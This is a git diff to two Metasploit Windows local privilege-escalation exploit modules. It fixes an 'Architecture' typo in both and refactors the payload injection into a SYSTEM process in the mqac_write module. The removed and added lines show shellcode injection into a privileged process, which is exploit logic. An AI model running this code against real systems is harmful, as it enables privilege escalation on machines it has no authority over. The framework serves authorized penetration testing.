diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb
index 31e3b16b61..6a7fefdf3c 100644
--- a/modules/exploits/windows/local/mqac_write.rb
+++ b/modules/exploits/windows/local/mqac_write.rb
@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Local
   Rank = AverageRanking
 
   include Msf::Post::Windows::Priv
+  include Msf::Post::Windows::Process
 
   def initialize(info={})
     super(update_info(info, {
@@ -125,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local
     if sysinfo["Architecture"] =~ /wow64/i
       print_error("Running against WOW64 is not supported")
       return
-    elsif sysinfo["Architectore"] =~ /x64/
+    elsif sysinfo["Architecture"] =~ /x64/
       print_error("Running against 64-bit systems is not supported")
       return
     end
@@ -191,18 +192,10 @@ class Metasploit3 < Msf::Exploit::Local
       return
     end
 
-    begin
-      proc = get_system_proc
-      print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
-      host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
-      mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
-
-      print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
-      host_process.memory.write(mem, payload.encoded)
-      host_process.thread.create(mem, 0)
-    rescue ::Exception => e
-      print_error("Failed to Inject Payload")
-      print_error(e.to_s)
+    proc = get_system_proc
+    print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
+    unless execute_shellcode(payload.encoded, nil, proc['pid'])
+      fail_with(Failure::Unknown, "Error while executing the payload")
     end
   end
 
diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb
index 747861ed60..8a24a7a9d8 100644
--- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb
+++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb
@@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local
     if sysinfo["Architecture"] =~ /wow64/i
       print_error("Running against WOW64 is not supported")
       return
-    elsif sysinfo["Architectore"] =~ /x64/
+    elsif sysinfo["Architecture"] =~ /x64/
       print_error("Running against 64-bit systems is not supported")
       return
     end